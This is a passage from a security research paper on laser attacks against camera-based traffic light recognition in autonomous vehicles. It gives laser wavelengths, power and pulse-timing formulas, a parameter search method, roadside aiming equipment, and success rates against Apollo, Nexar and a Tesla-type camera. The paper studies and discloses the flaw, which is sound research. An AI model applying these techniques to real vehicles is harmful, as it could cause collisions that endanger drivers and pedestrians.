cause black is rare in real life and yellow only lasts for a very

Figure 2: Illustration of the three attack stages.

short time. An attacker may make a vehicle move by making
a red light recognized as green, and force a vehicle to stop
by making a green light recognized as red, yellow, or black.
In this paper, we focus on color spoofing attacks as they are
stealthier and pose a more significant threat.

3.2 Attacker’s Capabilities

We consider an attacker with the following capabilities.
Laser Interference to the On-board Camera. The at-

tacker can only alter the results of traffic light detection and
recognition by remotely shedding a laser interference to the
camera on the target vehicle. She cannot physically alter ex-
isting traffic lights or build a spurious traffic light.

No Direct Access to the Target Vehicle. The attacker has
no direct physical or digital access to the target vehicle before
or during the attack. She cannot make any changes to the
on-board camera or the traffic light detection and recognition
system. The target vehicle remains enclosed to the attacker.

Camera and System Awareness. The attacker may infer
the model and structure of the target camera and system based
on public information or reverse engineering. She may obtain
the same camera or vehicle to assess the attack beforehand
in setups similar to the planned attack scenario. For example,
she could drive a vehicle of the same model through the
target intersection and record images of the target traffic light.
However, she can only treat the target camera as a black box.

4 Feasibility Study

In this section, we study the feasibility of attacking vision-
based traffic light detection and recognition mechanisms using
laser interference. We consider the three attack stages shown
in Fig. 2.

1. Camera Imaging: the attacker generates a laser beam and
points it at the camera. Key questions in this stage include a)
what types of laser interference an attacker can generate and
b) what images will a camera capture under laser interference.

2. Traffic Light Detection: disabling traffic light detection
is sufficient for a DoS attack. However, for color spoofing
attacks, the attacker must ensure that the traffic light can be
detected with sufficiently high confidence.

3. Traffic Light Recognition: in this stage, the attacker in-
tends to make a traffic light recognized as showing a different
color. However, it is unknown whether this attack is feasible
and what type of laser interference will be effective.

We examine the feasibility of these stages in the following.
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Figure 3: Images captured by an AR0132AT evaluation board camera under various types of laser interference.

4.1 Laser Interference Examination

We choose semiconductor laser diodes as the laser genera-
tor due to their low-cost, high accessibility, and high power-
efficiency. There are four attack parameters to consider that
determine the laser interference pattern on the image:

Wavelength. A laser’s wavelength corresponds to its color,
which directly affects the color of the resultant interference
on the image. A laser diode’s wavelength is generally fixed as
it is determined by the semiconductor’s structure and material.
Therefore, an attacker can inject interference of various colors
using a series of laser diodes with different wavelengths.

Power. A laser’s power affects the interference’s intensity
as well as the attack distance. A higher power enables a longer
attack distance, but it may also saturate the CMOS sensor
and blind the camera. In a color spoofing attack, the attacker
has to carefully adjust the laser’s power to ensure that the
interference on the image is neither too weak nor too strong.
Previous work [30] has shown that a laser’s power increases
linearly with the driving current once it is above a diode-
specific threshold.

Pulse Width and Period. The laser can be continuous or
in the form of a series of short pulses. A continuous laser
affects all image frames in a video, while laser pulses can
affect selected frames in a video and even a part of an image.
An attacker can change the width and period of laser pulses by
applying pulse width modulation (PWM) to the laser diode’s
driving current.

Incidence angle. The incidence angle is the angle between
the laser beam and the optical axis of the camera lens. The
incidence angle mainly affects the brightness distribution of
the interference. For example, a laser emitted from the right
side of the camera will cause a brighter interference on the
right part of the image.

4.2 Camera Imaging under Laser Interference

Existing studies [11,23,33,37] have shown that light and laser
interference can significantly change the images captured
by cameras. However, their work focused on DoS attacks,
i.e., overexposing the camera, and cannot be used for color
spoofing. In this paper, we thoroughly examine and report all
potential impacts of laser interference by experimenting with
the laser parameters mentioned above. Besides overexposure,
we discover that laser interference can cause the color shift,

color stripe, white unbalance, and out-of-focus of an image,
as shown in Fig. 3. The images are taken by an AR0132AT
evaluation board [27] camera.

Overexposure. A laser of sufficient power can easily sat-
urate all three color channels of a CMOS sensor and cause
overexposure of the image, as shown in Fig. 3(b). Overexpo-
sure is the most effective way to cause the denial-of-service
of any camera-based system.

Color Shift. By lowering the laser’s power below the satu-
ration point, we can reduce the interference’s brightness to a
range that only affects a single color channel, causing a “color
shift” of the image, as shown in Fig. 3(c). The shifted color
is determined by the laser’s wavelength. In this example, a
laser of 650 nm wavelength increases the red channel’s value
much more than the green and blue channels in the CMOS,
making the image more reddish.

Color Stripe. The color shift appears on the entire image
and may unintentionally impede the recognition of other ob-
jects. We wonder whether the color shift can occur only in a
part of the image, especially where the traffic lights are. We
manage to create a “color stripe” on the image by exploiting
the rolling shutter of CMOS sensors with modulated laser
pulses, as shown in Fig. 3(d). The principle is illustrated in
Fig. 4(a). As the shutter “rolls” from the first row of the image
to the last one, a laser pulse that appears only when the i-th
row of CMOS is activated will interfere with only the i-th
row on the image, thus leaving a color stripe. An attacker
can change the width, position, brightness, and number of the
stripes by adjusting the modulation parameters of the diode’s
driving signal. She could even stabilize the color stripe in a
sequence of video frames by synchronizing the pulse period
with the rolling shutter speed (video frame rate), e.g., 30 Hz.

White Unbalance. White balance is an in-built function in
most digital cameras that automatically balances the image’s
color temperature. A laser interference on a part of an image
can make the white balance algorithm wrongly adjust the
color gains of the rest of the image, as shown in Fig. 3(e).
An attacker may exploit this phenomenon to cause “white
unbalance” of the traffic light, i.e., changing its color without
overlaying interference on it. However, the color change may
not be intense due to the limited white balance ability.

Out-of-Focus. We discover that moving color stripes can
make the camera out-of-focus, potentially leading to denial-of-
service. Rapidly moving color stripes can periodically change
the contrast of the sampling area of the focus algorithm, and
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Figure 4: Illustrations of (a) the generation of a color stripe,
and (b) the stripe’s width and position compared with the
traffic light and four typical cases.
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Figure 5: The confidence scores of detecting a traffic light
covered by color stripes of various widths and positions. The
4 cropped regions correspond to the 4 cases in Fig. 4(b). It
shows that case ¨ affects traffic light detection the least.

hence force the camera to refocus. During the refocusing
process, the background will be out-of-focus and become
blurry, as shown in Fig. 3(f).

In summary, an attacker may achieve denial-of-service with
overexposed or out-of-focus images and achieve color spoof-
ing with color-shifted or color-striped images. A color-shifted
image is essentially a color-striped image when the stripe is
as wide as the image. In a preliminary experiment reported in
Fig. 30, we find that compared with a narrow stripe, a wider
stripe will greatly reduce the confidence score of traffic light
detection and unnecessarily causing denial-of-service. Thus,
we will focus on attacks using a narrow stripe in this paper.

4.3 TL Detection under Laser Interference

To successfully spoof the results of traffic light recognition,
the attacker has to first ensure that the color stripes do not
affect traffic light detection. Thus, a question of interest is
what type of color stripe less impedes traffic light detection.

We examine the impact of color stripes by comparing the
confidence scores of detecting a traffic light under various
combinations of stripe parameters, where we are mainly con-
cerned with the stripe’s width and position. We use a trained
YOLOv4 classifier as the traffic light detection system and use
red and green lasers to inject color stripes of various widths
and positions into a traffic light image.
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Figure 6: Confidence scores of traffic light recognition as
the laser diode’s driving voltage (i.e., power) varies. It shows
that though the effective laser parameters may exist in a wide
range, they need to be adjusted in a case-by-case manner.

Two heatmaps in Fig. 5 show the confidence scores of de-
tecting the traffic light under red and green laser interference.
The x-axis is the stripe’s width, which varies from 0 to 4/3
of the traffic light’s height. The y-axis indicates the position
of the stripe’s upper edge compared with the vertical size of
the traffic light, also varying from 0 to 4/3. Fig. 4(b) provides
a visual illustration of the position and width. Position “0”
means that the stripe’s upper edge is at the bottom edge of the
light, while position “1” suggests that the stripe’s upper edge
coincides with the light’s upper edge. To help understand the
results in Fig. 5, we divide the heatmaps into four regions that
correspond to the four typical cases in Fig. 4(b). In case ¨,
the stripe covers the entire traffic light; in case ≠, the stripe
covers only a part of the light between its upper and lower
edges; while in case Æ and Ø, the stripe covers the upper or
lower parts of the light including its edges.

The results in Fig. 5 show that, regardless of the laser’s
color, the accuracy of traffic light detection is barely affected
by the color stripe if it covers the entire light, i.e., case ¨.
We observe a great decrease in the confidence scores in other
cases, which we assume is because the color stripe breaks
the traffic light’s continuity, especially on its original edges.
This experiment motivates us to create color stripes similar to
case ¨ for color spoofing attacks.

4.4 TL Recognition under Laser Interference

To examine the feasibility of spoofing traffic light recognition,
we consider two attack cases: (a) turn a green light to red
with a red stripe, and (b) turn a red light to green with a green
stripe. The stripes are generated using 650 nm red and 520 nm
green laser diodes, respectively. The images of the interfered
traffic lights are sent to Apollo for recognition.

In Apollo, the system is programmed to first detect traffic
lights within a cropped region of interest (ROI) that is previ-
ously known from the HD-Map that contains traffic lights’ lo-
cations. Since the HD-Map is unavailable, we provide the ROI
to the system manually to make Apollo function normally.
If a traffic light is detected, Apollo outputs the confidence
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Figure 7: The attack workflow. Based on laser attack modeling, the attacker first simulates laser interference on pre-recorded
images of the target traffic and search for the most effective sets of laser attack parameters that can achieve the desired result of
traffic light recognition. The attacker then uses the parameters to generate a laser attack signal and point it at the target camera.

scores of four possibilities: red, yellow, green, and black.
The results show that color spoofing attacks are feasible

for both cases. We are able to make a red light recognized as
a green one and vice versa. However, we also observe that the
attack does not succeed all the time—the confidence scores
can be affected greatly by the laser parameters, especially the
power. For example, Fig. 6 shows the scores of the recognition
result when we adjust the laser’s power by the diode’s driving
voltage. It shows a red laser can spoof a green light with high
confidence scores when the voltage is between 13 to 17 volts.
However, there is no “safe zone” of power when we try to
make a red light recognized as green. The effective voltage
region is discrete and appears random. In our experiment,
we find that the attack result can also be affected greatly by
the laser’s incidence angle, the traffic light itself, and even
the image background. Therefore, it would be inadvisable to
use the same set of laser parameters to attack different traffic
lights. In practice, it is critical to fine-tune the laser parameters
according to specific traffic lights and attack scenarios.

5 Attack Design

To obtain the most effective laser parameters case-by-case, we
model the laser attack process and emulate the attack based
on pre-recorded images of the target traffic light. The attack
workflow is summarized in Fig. 7.

First, to simulate laser interference on cameras, we develop
an empirical laser attack model that takes a raw image as
input and outputs an image with simulated laser interference.
The model consists of three parts: camera modeling, laser
interference modeling, and laser effect emulation. Camera
modeling describes the transformation from the RAW images
captured by the CMOS to common image files such as JPG.
Laser modeling simulates the laser interference by mathemati-
cally modeling the addition of color stripes to an image. Laser
effect emulation further involves a laser’s incidence direction
and noise to the model to make the simulated color stripe look
more realistic. Then based on the laser attack model, we use
a grid search method to seek the most effective combinations
of attack parameters. Finally, we map the attack parameters
derived from our model to adjustable laser parameters and
generate laser attack signals in the real world.

5.1 Camera Modeling

The first step is to transform the CMOS sensor’s raw images
to jpg images. As introduced in Section 2, CMOS, as well as
the raw file, will store the color information of the image in the
form of R, Gr, Gb, B in the four adjacent pixels respectively
that form a square. Therefore, interpolation is required to
transform the matrix from a raw file to a tensor that represents
RGB values. There are mainly two types of interpolation:
direct and bilinear. We consider both of them in our model,
and the specific model to use depends on the target camera.
We leave the mathematical details to Appendix A.1.

Direct Interpolation. For each pixel in the jpg image, its
RGB values are determined by the closest pixel that stores
Red, the mixture of Gr and Gb, or Blue in the matrix from the
raw file. As for each two-by-two block in the raw file, there
will be at least one pixel representing “red,” one represent-
ing “blue,” and two representing “Gr” and “Gb,” respectively,
the RGB value of the jpg-image-pixels in this block will be
directly determined by those pixels values in the raw file.

Bilinear Interpolation. For each pixel in the jpg image,
its RGB value is determined by at least two closest pixels in
the raw file. In general, for each interior pixel in the jpg file,
it will take a three-by-three block centered at the pixel. All
the pixel values representing the corresponding color (R, G,
or B) in the raw file are averaged to calculate the RGB value
in the jpg file. For each pixel on the edge of the image where
the three-by-three block is not available, we will still find the
two closest pixels in the raw file representing the same color
and calculate their average.

5.2 Laser Interference Modeling

We consider two steps in the laser interference modeling:
photon filtering and color stripe addition.

Photon Filtering. When a laser is shed into a CMOS, the
photons that each photodiode can detect are determined by
its quantum efficiency, which describes the ratio of the num-
ber of electrons measured by a photodiode to the number
of photons fed to it. Each CMOS has its unique quantum
efficiency. Also, the color filters (R, Gr, Gb, B) on each pho-
todiode make the quantum efficiency unique for the light of
different wavelengths. For example, Fig. 8 shows the quantum
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Figure 8: Quantum Efficiency curves for ON Semiconductor
CMOS Digital Image Sensor MT9P006 [26].

efficiency curves for an ON Semiconductor CMOS Digital
Image Sensor MT9P006. Green light of 550 nm wavelength
can be measured by the Gr and Gb photodiodes with a quan-
tum efficiency of 60%, while it is less received by the R and
B photodiodes because the quantum efficiency is less than
10%. However, when the light strength is sufficiently high,
its effect on the red and blue pixels becomes obvious, which
explains why in Fig. 3(b), a single-colored laser can saturate
all color channels and make the entire image white.

Suppose I stands for the laser’s strength, l stands for its
wavelength, and R

⇤,G⇤,B⇤ stands for the effect of the laser on
the Red, Green, Blue channels of the image, respectively, the
filtering effect of the CMOS sensor due to quantum efficiency
could be represented by X

⇤ = I fX (l),X 2 {R,G,B}. Here,
fR(·), fG(·), fB(·) stand for the quantum efficiency curves of
the CMOS sensor on the target camera. Since the curves could
not be expressed parametrically, we interpolate the functions
by tracing the quantum efficiency curves of the target camera.

Color Stripe Addition. Suppose the effect a laser inter-
ference has on an RGB image is the addition on the three
color channels, we can express the RGB values of the post-
image (image taken under the laser attack), Rp,Gp,Bp, by the
RGB values of the original image, Ro,Go,Bo, and the effect of
the laser, R

⇤,G⇤,B⇤ as Xp = H(Xo,X⇤),X 2 {R,G,B}. Here,
there is no specific choice for function H(·, ·). Considering
the color channel overflow, here we use a relu-like function
for H(·, ·): H(x,y) = min(x+ y,cmax). Here, cmax stands for
the overflow value for a specific channel, and we choose 255
for simplicity.

Combining the photon filtering and color stripe addition
processes, the effect of the laser interference is determined by
the RGB values of the original image Xo, the wavelength l
and strength I of the laser, and the quantum efficiency fX (·)
of the CMOS sensor as:

Xp = H(Xo, I fX (l)) X 2 {R,G,B}

Fig. 9 shows a comparison between the real laser inter-
ference and our simulation. Notice that our simulated laser
interference is highly similar to the real one, indicating our
model’s efficacy. However, there are slight differences in the

(a) Real laser interference (b) Simulated laser interference

Figure 9: Comparison between the real laser interference and
our simulation, showing a high similarity.

details, which we assume are caused by the laser’s incidence
direction and noise.

5.3 Laser Effect Emulation

To make the simulation more realistic, we include the laser’s
incidence direction and lens imperfectness into our model.
The former determines the color stripe’s brightness distribu-
tion on the image, and the latter produces noise.

Laser’s Incidence Direction. The laser’s incidence direc-
tion has a significant effect on the color stripe’s distribution
in the image. For example, in Fig. 9(a), the laser is irradiated
from the left side of the camera. Therefore, the laser’s inten-
sity is higher on the left than on the right, which results in a
channel overflow (white pixels) on the left and an increased
level of noise. For simplicity, in our model, we consider the
laser from left, right, or front of the camera. Instead of using
a single intensity I for the laser, we define the minimum and
maximum intensities Imin, Imax measured by the CMOS, and
assume the width and height of the color stripe are w,h, re-
spectively. The intensity of the laser at a specific point (x,y)
can be represented as I = D(Imin, Imax,x,y,h). Empirically,
we consider three potential cases for the function D(·): linear,
sigmoid, and Gaussian. Linear or sigmoid functions are used
when the incidence direction is from the sides; the Gaussian
function is used when the light is irradiated from the camera’s
front. We leave the details to Appendix A.2.

Lens Imperfectness. Empirically, we observe snow-flake-
like noise in the color stripe, which is due to the abrasion of the
lens. Therefore, if the lens has abrasion, when the laser is shed
into the camera, the diffuse reflection will occur instead of
direct reflection, which will result in some areas of the CMOS
receiving a stronger laser beam that may cause overexpose at
the corresponding pixels in the image. As it is hard to measure
or accurately model the abrasion inside the lens, we assume
the horizontal distribution of the noise follows an exponential
distribution, and the vertical distribution of the noise follows
a normal distribution. For laser irradiated from the left, we
model the horizontal distribution of the noise as:

h(y) =
e
�b1y/w

R •
0 e�b1t/wdt
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(a) Red laser (wide stripe) (b) Green laser (wide stripe)

Figure 10: Refined grid search of light strength for red and
green lasers that create wide stripes. The feasible solutions
are red and green pixels, respectively.

Here, b1 is the hyper-parameter that controls the decaying
rate of the distribution, and the denominator is a standardized
function to ensure the sum of the probability density function
is 1. If the incidence direction is right, then we only need to
replace y by w� y.

The vertical distribution of the noise follows:

v(x) = Norm

✓
µ = x0 +

h

2
,s =

h

b2

◆

Here, b2 is the hyper-parameter that controls the distribu-
tion’s sparsity. The vertical distribution is identical for both
incidence directions.

Furthermore, as the noise does not always result in over-
flow of the target color channel, we randomly choose a value
between 240 and 255 to replace the channel’s value. The
procedure of adding noise is detailed in Appendix A.2. The
effect of incidence direction and noise emulation is shown in
Fig. 20, which highly resembles the real scenario in Fig. 9(a).

5.4 Searching Laser Attack Parameters

Based on the laser attack modeling, we can simulate a large
number of color stripes added on a target traffic light using
various combinations of laser parameters. To acquire the most
effective range of parameter sets, we apply the grid-search
method. We do not use the optimization methods that are
common in generating adversarial examples because our at-
tack can succeed with a range of laser parameters instead of
a particular set. This property may mitigate the influence of
model inaccuracy and real-world uncertainties, therefore in-
creasing the attack’s robustness. The parameters we consider
in the grid-search include the minimum light strength Imin,
maximum light strength Imax, wavelength of the laser l, and
incidence direction. The noise function follows the incidence
direction. The search grids are reported in Appendix A.3.

We tested the parameter search on red and green traffic
light images. The search results show a range of effective laser
attack parameters (feasible solutions). 9.63% and 22.59% of

all parameter combinations are effective for red laser attack
and green laser attack, respectively, which proves that the
feasible solutions of our attack are not unique. In addition,
we conduct a more thorough search on the minimum and
maximum light strength using a more fine-grained search grid.
Fig. 10 shows the results for red and green stripes with various
combinations of minimum and maximum light strengths. In
the figures, the recognition results of red, yellow, green, black,
and DoS (failed to detect the light) are represented by red,
yellow, green, dark gray, and purple pixels, respectively. The
results show that feasible solutions for light strength exist in
a wide range and can be regarded as nearly continuous.

5.5 Generating Laser Attack Signals

After acquiring the feasible attack parameters, we map them to
adjustable laser parameters to recurrent the model-generated
images with real laser. We mainly consider the wavelength,
pulse width and period, power, and incidence angle.

Wavelength. The relationship between wavelength in the
model, l, and reality is explicit. The wavelength of the laser
diode is the same as the wavelength in the model.

Pulse Width and Period. The pulse width determines the
width of the color stripe in the image. Suppose the image has
N rows of pixels and the traffic light takes n rows. Our previ-
ous observations in the real-world experiment and emulation
both suggest that the color stripe affects traffic light detection
the least if its width is larger than that of the light. Therefore,
we consider a color stripe with a width of 1.5n rows. Suppose
the rolling shutter speed is f , then the pulse width is 1.5n/N f .
The pulse period is set the same as the rolling shutter time
1/ f to stabilize the stripe’s position.

Power. Power is related to the minimum and maxi-
mum light strength, Imin, Imax in the model. The mini-
mum/maximum light strength is a constructed parameter
in the model which does not have direct physical meaning.
Though there is no deterministic transformation between light
strength and power, as they both change monotonically, the
attacker could measure the light strength with various laser
power beforehand in a similar setup and fit the curve.

Incidence Angle. The incidence angle is determined by
the incidence direction and the relationship between the mini-
mum and maximum light strength. The incidence direction
provides a definitive guide on where the laser shall be radiated
from. However, it is hard to acquire the incidence angle from
the min./max. light strength mathematically because their re-
lationship varies case-by-case for various cameras. Similarly,
the attacker can derive their relationship empirically.

Despite the challenges in obtaining accurate mappings be-
tween model parameters and laser parameters, the wide range
of feasible solutions for our attack can alleviate this problem,
as we will show in the next section. The necessity of the above
design in comparison with a naive attacker that subjectively
adjusts the attack parameters is discussed in Appendix A.4.
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(a) Impact of the traffic light’s size (b) Impact of the traffic light’s horizontal position (c) Impact of the traffic light’s vertical position

Figure 11: Impact of the traffic light’s size and position on the attack’s success rates.

6 Evaluation

We evaluate the attack’s performance in 3 scenarios: (a) emu-
lated attacks based on public traffic light images and simulated
laser interference, (b) real-world attacks in stationary setups
using real laser and cameras, and (c) real-world attacks against
a moving vehicle in practical settings.

6.1 Emulated Attacks

6.1.1 Dataset and Experimental Setup

We select 240 images that contain traffic lights from the
BDD100K dataset [38]. We target all traffic lights in each im-
age that can be correctly detected and recognized by Apollo.
In total, there are 250 green lights and 248 red lights. The
hyper-parameters of the model are determined as follows. For
all green lights, we use the red laser with a wavelength of
650 nm; for all red lights, we use the green laser with a wave-
length of 520 nm. The laser wavelengths correspond to the
laser diodes in real-world experiments. Based on our previous
observations, we adopt an incidence direction opposite to the
light’s position in the image to avoid over-exposure in the
light’s area and use the linear function to model the intensity
distribution. For the minimum and maximum light strength,
we applied a grid search for each image. For each variable, we
set 7 levels in total: the minimum light strength varies from
100 to 700 with a step length of 100, and the maximum light
strength varies from 900 to 1500 with a step length of 100.

6.1.2 Overall Performance

By using the optimal set of attack parameters for each traffic
light, we are able to make a red light recognized as a green
light (R!G) in 45 cases, i.e., with an attack success rate
of 18.2%, and make a green light recognized as a red light
(G!R) in 86 cases, with an attack success rate of 34.4%.
In addition, we find that the attack can succeed on different
images even using the same set of parameters. For example,
Fig. 12 shows that R!G is successful on 14.5% of all im-
ages when the min. and max. light strengths are (100,1300),
(200,1200), or (300,1100), and G!R is successful on 26.8%
of all images when the min. and max. light strengths are
(400,1100) or (600,1000). These results show that our attack

(a) R!G attacks (b) G!R attacks

Figure 12: The attack’s average success rates on all images
using various combinations of min. and max. light strengths.

is feasible on various traffic lights and does not require unique
parameters as feasible solutions.

6.1.3 Impact of the Traffic Lights

Our dataset contains 489 traffic lights of various sizes and po-
sitions in the image. In the following, we investigate whether
the traffic light can affect the attack’s success rate.

Impact of Size. To explore the effect of traffic light’s size,
we sort all traffic lights into 10 groups by their height in the
image (in pixels), and calculate the attack success rate for
each group. Group 1 contains the smallest (0%–10% of all
heights) lights, while group 10 represents the largest (90%–
100%). The result is shown in Fig. 11(a). We observe that for
the G!R cases, the attack success rates are comparatively
higher for relatively smaller or larger traffic lights. However,
for R!G cases, there is no clear relationship. Overall, the
correlation between the traffic light’s size and the attack’s
success rate is not significant.

Impact of Position. We consider both the horizontal and
vertical positions of the traffic light in the image. We divide
an image into three-by-three blocks: left, center, and right
horizontally; top, middle, and bottom vertically. All blocks
have the same size. We plot the attack’s success rates for the
horizontal and vertical divisions, respectively, in Fig. 11(b)
and 11(c). Horizontally, the attack’s success rates for both
G!R and R!G cases are higher when the traffic light is in
the center of the image than at the left or right. Vertically, the
attack’s success rate appears to be higher if the traffic light
is at a higher position in the image. Since no image contains
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Figure 13: Illustration and image of the experiment setup.

a traffic light in the bottom blocks, the attack’s success rate
is not available. In summary, we assume that such impacts
of traffic light’s position are mainly due to the background.
In most cases, the background will be clearer at the top and
center positions of the image, which typically is the sky. In
contrast, in other positions of the image, the background is
usually buildings or traffic that are more complex.

6.2 Real-World Attacks in Stationary Setups

We validate the attack’s effectiveness in stationary setups
using real cameras, laser diodes, and traffic lights at various
distances, positions, and directions.

6.2.1 Experimental Setup

The experimental setup is shown in Fig. 13. The attack tar-
get is an experimental traffic light that can shine in green,
red, and yellow. The diameter of the lamps is 10 cm1. We
experiment on 5 cameras: an AR0132AT evaluation board
camera [27], two dashcams from Xiaomi [34] and Hikvi-
sion [8], an OPPO K3 smartphone [22], and an OpenMV H7
Devboard camera [21]. The AR0132AT sensor is considered
to be the camera used on Tesla vehicles [4, 32]. We attack
the cameras using two laser diodes (505 nm for green laser,
650 nm for red laser) driven and controlled by a signal gener-
ator. The images of the traffic light under laser interference
is sent to two traffic light detection and recognition systems:
Apollo [1] and a deep-learning-based model developed for
the Nexar traffic light recognition challenge [6], which are
the most popular and state-of-the-art open-source models we
can find for traffic light recognition. To increase the variety
of traffic light instances, we conduct the attack in various
combinations of the traffic light’s distance, position, and fac-
ing direction, as illustrated in Fig. 13(a). The traffic light’s
distance to the camera in the optical axis varies from 5 m to
15 m. At each distance, the traffic light is placed in 5 positions,

1The diameter of lamps on regular traffic lights is 20 cm. Therefore, the
traffic light’s distance to the camera that we report in this paper shall be
doubled so that it is equivalent to the attacks against regular traffic lights.

Table 2: Success rates of attacking 2 systems and 5 cameras.

Sys. Attack
Scenario

Target Camera Avg.Tesla Xiaomi Hikv OPPO OpMV

A
po

llo

R!G 31.67% 32.47% 15.38% 4.44% 17.39% 20.27%
R!DoS 21.67% 40.26% 15.38% 73.33% 13.04% 32.74%

G!R 73.33% 17.24% 39.13% 32.22% 47.37% 41.86%
G!DoS 21.67% 32.18% 39.13% 36.67% 52.63% 36.46%

N
ex

ar

R!G 28.33% 14.77% 1.23% 59.55% 0% 20.78%
R!DoS 12.50% 57.95% 38.27% 31.46% 100% 48.04%

G!R 99.17% 64.00% 21.31% 45.21% 100% 65.94%
G!DoS 0.83% 30.67% 78.69% 53.42% 0% 32.72%

Figure 14: Average success rates of attacking 5 cameras.

left (L), middle left (ML), middle (M), middle right (MR),
and right (R). On each position, we set the light to face three
directions: left (L), middle (M), and right (R). In total, there
are 120 instances of traffic lights for a single color. We repeat
the 120 instances for different light colors and cameras. For
safety reasons, all the experiments are conducted on a rooftop
in an enclosed environment with proper laser protection.

6.2.2 Overall Performance

We report the attack’s overall success rates in Table 2. The
experiments are conducted in two attack scenarios: R!G
and G!R. We also report the percentage of DoS cases. The
overall success rate is 20.53% for R!G attacks and 44.95%
for G!R attacks, suggesting that it is relatively easier to
cause a green light to be recognized as a red light using a red
laser. DoS happens 34.59% and 26.76% of the time for R!G
and G!R attacks, respectively. Note that the above results
involve all the instances. The average success rate is higher
than 90% when the distance is less than 10 m (equivalent to
20 m for regular traffic lights, which is the width of a typical
four-lane urban road).

In addition, we find that the attack result varies according
to the target recognition system and camera. The average
attack success rate on Apollo is 31.07%, while it is 43.36%
on Nexar. The comparison of attacking 5 cameras in Fig. 14
shows that the AR0132AT camera used on Tesla is the most
vulnerable—the average success rates for R!G and G!R are
30% and 86.25%. The lower success rates on other cameras
may be caused by the low image qualities or large field-of-
view as listed in Table 4. For example, Xiaomi and Hikvision
are both dashcams that have a large field-of-view (130�) in
comparison with the Tesla camera (70�). The wide angle
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(a) No. of successful G!R at various locations (b) Results of G!R attack at various distances (c) Results of G!R attack at various positions

(d) No. of successful R!G at various locations (e) Results of R!G attack at various distances (f) Results of R!G attack at various positions

Figure 15: Attack results showing impacts of the traffic light’s distance and position based on the AR0132AT camera.

(a) Attack angles and distances

35m

(b) Attack from 35 m away

Figure 16: Results at various attack distances and angles.

makes the traffic light smaller in the image and thus more
difficult to be recognized. As the traffic light becomes closer
and larger, it moves toward the edge of the image and suffers
from more wide-angle distortions than others. Nonetheless,
G!R attacks show higher success rates than R!G regardless
of the recognition system and camera.

6.2.3 Impact of the Traffic Light

We investigate the impacts of traffic light’s distance, position,
and direction based on the AR0132AT camera. In this experi-
ment, we extend the maximum traffic light distance to 25 m.
The number of successful attacks when the traffic light is at
various locations is visualized in Fig. 15(a) and 15(d).

Impact of Distance. The results in Fig. 15(b) and 15(e)
show that the attack success rate decreases as the traffic light’s
distance increases, while the percentage of DoS increases.
We speculate that the traffic light becomes smaller as the
distance increases, making it harder to be detected after being
overlapped with a color stripe. However, we can still attack a
traffic light that is 25 m away (equivalent to 50 m for regular
traffic lights) if it is in the middle position.

Impact of Position. Fig. 15(c) and 15(f) show that the
attack success rate is higher when the traffic light is in the
middle of the image. DoS dominates when the traffic light is

on the right part of the image because the laser is emitted from
the right direction. As the light strength is not strong enough
on the left part of the image, the traffic light is recognized as
its original color in the left positions. The above observations
are consistent with our emulation results.

Impact of Direction. A successful attack requires the cam-
era to have a clear view of the traffic light’s lamp. Under
this condition, we did not find a clear correlation between the
attack result and the traffic light’s facing direction.

6.2.4 Attack Distance and Angle

We investigate the attack’s effectiveness when the laser source
is at various distances and off-axis angles. We attack the
camera from [1, 2, 5, 8, 10, 15, 20] meters away at [15, 30,
45, 60] degrees off the optical axis. The results are shown
in Fig. 16(a). It shows that the attack is affected more by
the laser’s angle than the distance. Successful attacks appear
mostly within 45 degrees off-axis from 1 m to 20 m. We
assume the reason is that the color stripe becomes fainter
as the incidence angle increases. To find the longest attack
distance, we move the laser source to the outermost location
allowed by our test site (a rooftop), which is approximately
35 m away from the camera. As shown in Fig. 16(b), the
attack is still successful at such a distance—making a green
light recognized as red with a confidence score of 0.966. We
envision that the longest attack distance will be larger than
35 m, especially if we use a high-power laser diode.

6.3 Real-World Attacks in Motion

Attacks in practical settings require to target a moving vehi-
cle and achieve the following: (1) be effective across con-
tinuous video frames when the captured scene is chang-
ing, (2) track and aim laser at the target camera from a dis-
tance away from the vehicle, and (3) cause end-to-end im-
pact on driving. We study the attack’s capability from the
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Figure 17: Experimental setups for real-world attacks: (a) the setups inside and outside a vehicle for continuous video frame
experiments, (b) the self-made equipment for manual target tracking and laser aiming, and (c) the setup for long-range laser
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Figure 18: Attack results across continuous frames, showing
continuous success for more than 1 second for both cases.

three perspectives separately on a real vehicle and a driv-
ing simulator. Videos of attacks can be found at https:
//sites.google.com/view/rollingcolors.

6.3.1 Effectiveness across Continuous Video Frames

First of all, we study the attack’s effectiveness across contin-
uous video frames when the target camera is on a moving
vehicle. As a preliminary experiment, we rule out the influ-
ence of aiming and assume an ideal setting, where the attacker
can continuously inject laser into the camera when the vehi-
cle is moving. The feasibility of continuous laser injection
will be studied separately.

Setup. To achieve this setting, we placed the laser diode
inside the vehicle as shown in Fig. 17(a). We performed 27
attack trials in total. In each trial, we drove the vehicle back-
ward or forward (with speeds between 5-20 km/h) towards
an experimental traffic light 30 m ahead and recorded videos
with the camera while launching the attack. For safety consid-
erations, all experiments were performed in enclosed fields.

Results. We analyzed the attack results based on Apollo
and found that the attack could successfully spoof traffic light
recognition across continuous frames in 23 trials, rendering an
attack success rate of 85.2%. Fig. 18 shows two best cases for
G!R and R!G attacks, which achieve the longest duration
of successful spoofing. The recognition results are represented
in the corresponding colors (except for purple, which means
Apollo fails to detect any traffic light), and “GT” represents
the ground truth of the light color. The results show that the at-
tack can continuously spoof traffic light recognition for more
than one second. This preliminary experiment demonstrates
the attack’s effectiveness across continuous video frames
when the captured scene is changing.

6.3.2 Feasibility of Tracking and Laser Aiming

In the above experiment, we assume the attacker can continu-
ously inject laser into the camera. However, in practice, the
attacker and laser diode should be outside the target vehicle,
which makes it challenging to continuously aim laser at the
camera’s tiny lens especially from far away.

Manual Tracking and Aiming Equipment. To overcome
this challenge, we built a manual tracking and aiming equip-
ment that combined a 500-1000 mW laser diode with a monoc-
ular telescope mounted on a tripod, as shown in Fig. 17(b).
We used the high-power laser diode to create a larger speckle
that eases aiming while ensuring the light injected into the
camera has sufficient strength. We fixed the laser diode on
top of the telescope in a position where the speckle is visible
from the eye lens of the telescope. With this equipment, an
attacker can manually track the target and aim the laser at the
same time even from far away.

Setup. Based on the equipment, we conducted real-world
experiments in a practical setup to examine the feasibility
of continuous aiming. As shown in Fig. 17(c), the attacker
was on the roadside and 40-80 m away from the vehicle. The
target camera was mounted near the top of the vehicle’s wind-
shield. We drove the vehicle forward or backward towards a
traffic light, while another researcher acted as the attacker and
controlled the attack equipment on the roadside. All laser op-
erations were performed in an enclosed field following safety
regulations and coordinated with the safety committee2.

Results. Out of the 88 trials conducted, we found the at-
tacker can continuously inject laser into the camera in 77
